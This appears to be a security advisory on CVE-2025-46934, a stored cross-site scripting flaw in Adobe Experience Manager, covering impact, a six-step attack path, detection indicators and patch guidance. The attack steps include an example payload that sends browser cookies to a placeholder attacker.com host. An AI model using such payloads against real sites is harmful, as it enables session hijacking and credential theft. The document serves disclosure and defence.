CVE-2025-46934: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46934 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 13, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An authenticated low-privileged attacker can inject malicious JavaScript into form fields within AEM that are not properly sanitized or output-encoded before being rendered in the browser. When a victim navigates to the page containing the compromised field, the injected script executes in their browser context. The attack requires network access, low privileges, and user interaction (a victim visiting the affected page), with a changed scope indicating cross-context impact (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and sensitive data exfiltration. The changed scope in the CVSS vector indicates the impact extends beyond the attacker's own session to affect other users of the AEM instance. While availability is not directly impacted, confidentiality and integrity are both rated as low-impact per the CVSS scoring (Adobe Advisory).

There is no public proof-of-concept exploit code known at this time, and no evidence of in-the-wild exploitation has been reported. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated low-privileged account, which somewhat limits the attack surface compared to unauthenticated vulnerabilities (Adobe Advisory).

1. Reconnaissance: Identify a target AEM instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0. Confirm the presence of form fields that accept and persist user input.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM account (e.g., a contributor or author role) sufficient to submit content to form fields.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable form field within AEM.
4. Payload persistence: The malicious script is stored server-side and rendered without proper sanitization when the affected page is loaded.
5. Victim interaction: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload.
6. Script execution: The victim's browser executes the injected JavaScript, enabling session token theft, credential harvesting, or unauthorized actions on behalf of the victim (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• Logs: AEM audit logs showing content modifications by low-privileged accounts inserting HTML/JavaScript into rich text or form fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handler attributes within stored AEM content nodes (e.g., in the JCR repository under /content).
• Process/Browser: Unexpected redirects or resource loads to external domains triggered when browsing AEM-authored pages.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and AEM Cloud Service to 2025.5.0 or later. Organizations unable to patch immediately should implement strict input validation and output encoding for all form fields, apply the principle of least privilege to limit which accounts can submit content, and monitor AEM audit logs for suspicious content modifications. Conducting security testing of form inputs and reviewing stored content for injected scripts is also recommended (Adobe Advisory).